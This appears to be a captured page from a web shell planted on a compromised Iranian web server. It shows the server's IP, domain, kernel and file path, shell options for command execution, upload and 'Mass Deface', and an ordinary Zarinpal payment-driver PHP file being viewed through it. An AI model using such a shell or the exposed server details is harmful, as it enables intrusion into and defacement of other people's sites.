���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
vendor
/
shetabit
/
multipay
/
src
/
Drivers
/
Zarinpal
/
Viewing: Zarinpal.php
<?php namespace Shetabit\Multipay\Drivers\Zarinpal; use Shetabit\Multipay\Abstracts\Driver; use Shetabit\Multipay\Contracts\DriverInterface; use Shetabit\Multipay\Exceptions\InvalidPaymentException; use Shetabit\Multipay\Exceptions\PurchaseFailedException; use Shetabit\Multipay\Contracts\ReceiptInterface; use Shetabit\Multipay\Drivers\Zarinpal\Strategies\Normal; use Shetabit\Multipay\Drivers\Zarinpal\Strategies\Sandbox; use Shetabit\Multipay\Drivers\Zarinpal\Strategies\Zaringate; use Shetabit\Multipay\Exceptions\DriverNotFoundException; use Shetabit\Multipay\Invoice; use Shetabit\Multipay\RedirectionForm; class Zarinpal extends Driver { /** * Strategies map. * * @var array */ public static $strategies = [ 'normal' => Normal::class, 'sandbox' => Sandbox::class, 'zaringate' => Zaringate::class, ]; /** * Current strategy instance. * * @var DriverInterface $strategy */ protected $strategy; /** * Invoice * * @var Invoice */ protected $invoice; /** * Driver settings * * @var object */ protected $settings; /** * Zarinpal constructor. * Construct the class with the relevant settings. * * @param Invoice $invoice * @param $settings */ public function __construct(Invoice $invoice, $settings) { $this->invoice = $invoice; $this->settings = (object) $settings; $this->strategy = $this->getFreshStrategyInstance($this->invoice, $this->settings); } /** * Purchase Invoice. * * @return string * * @throws PurchaseFailedException * @throws \SoapFault */ public function purchase() { return $this->strategy->purchase(); } /** * Pay the Invoice * * @return RedirectionForm */ public function pay() : RedirectionForm { return $this->strategy->pay(); } /** * Verify payment * * @return ReceiptInterface * * @throws InvalidPaymentException * @throws \SoapFault */ public function verify() : ReceiptInterface { return $this->strategy->verify(); } /** * Get zarinpal payment's strategy according to config's mode. * * @param Invoice $invoice * @param $settings * @return DriverInterface */ protected function getFreshStrategyInstance($invoice, $settings) : DriverInterface { $strategy = static::$strategies[$this->getMode()] ?? null; if (! $strategy) { $this->strategyNotFound(); } return new $strategy($invoice, $settings); } protected function strategyNotFound() { $message = sprintf( 'Zarinpal payment mode not found (check your settings), valid modes are: %s', implode(',', array_keys(static::$strategies)) ); throw new DriverNotFoundException($message); } /** * Retrieve payment mode. * * @return string */ protected function getMode() : string { return strtolower($this->settings->mode); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa